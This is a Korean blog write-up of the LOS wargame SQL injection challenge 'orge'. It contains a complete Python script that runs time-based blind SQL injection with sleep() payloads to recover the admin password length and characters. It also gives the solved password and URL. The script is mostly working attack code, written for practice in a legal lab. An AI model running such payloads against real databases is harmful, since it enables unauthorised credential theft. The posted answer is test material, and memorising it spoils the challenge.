본문 바로가기

Hacking/LOS

[LOS] 7. orge

728x90
반응형

  • 4번 orc 문제를 풀 때, 뭐가 잘못되어서 비밀번호의 길이를 구하는 코드가 작동하지 않는다고 했는데
  • 지나가시던 우리의 뉴스쿨 갓 선배님께서 id가 'admin'으로 특정되지 않아서 4자리 숫자인 비밀번호를 가진 데이터를 먼저 불러와서 그렇다는 댓글을 남겨주셨다.(아리가또-센빠이☆)

 

  • 그래서 천천히 코드를 다시보니 거의 막줄에 아래와 같은 코드가 있었다.
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";

 

  • 결국 마지막에 저 쿼리가 실행되니 id='admin'의 조건을 넣었어야 했다.

  • 그래서 결국 아래의 코드와 같이 완전하게 비밀번호의 길이와 비밀번호를 알려주는 파이썬의 코드를 짰다.

 

import requests

url ='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=' #url 주소 입력

def find_pw_len():
    pw_len=0
    while 1:
        pw_len=pw_len+1
        value = "' || id='admin' %26%26 if(length(pw)={}, sleep(3), 1)%23".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        cookies={'PHPSESSID' : '내 세션 값임'}
        response = requests.get(url+value, cookies=cookies)
        # print(response.url)
        if(response.elapsed.total_seconds() > 3):
            print("길이는? =",pw_len)
            break
        print("시도중 입니다!:",pw_len)
    return pw_len

def find_pw():
    pw_len=find_pw_len()
    string=''
    for pw_value in range(1,pw_len+1):
        for ascii in range(48,122):
            value ="' || id='admin' %26%26 if(ascii(substr(pw,{},1))={}, sleep(3), 1)%23".format(pw_value,ascii)
            cookies={'PHPSESSID' : '님 세션 값 넣으셈'}
            response = requests.get(url+value, cookies=cookies)
            # print(response.url)
            if(response.elapsed.total_seconds() > 2):
                string = string + chr(ascii)
                print("{}번 째의 pw의 값은!".format(pw_value),string)
                break
            print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
    print(string)
find_pw()

 


결과:

길이 알려주는 함수 결과

 

비번 알려주는 함수 결과

 

정답: https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=7b751aec 

 

https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=7b751aec

 

los.rubiya.kr

 

 

728x90
반응형

'Hacking > LOS' 카테고리의 다른 글

[LOS] 9. vampire  (0) 2023.07.06
[LOS] 8. troll  (0) 2023.07.06
[LOS] 6. darkelf  (0) 2023.07.06
[LOS] 5. wolfman  (0) 2023.07.06
[LOS] 4. orc  (5) 2023.07.05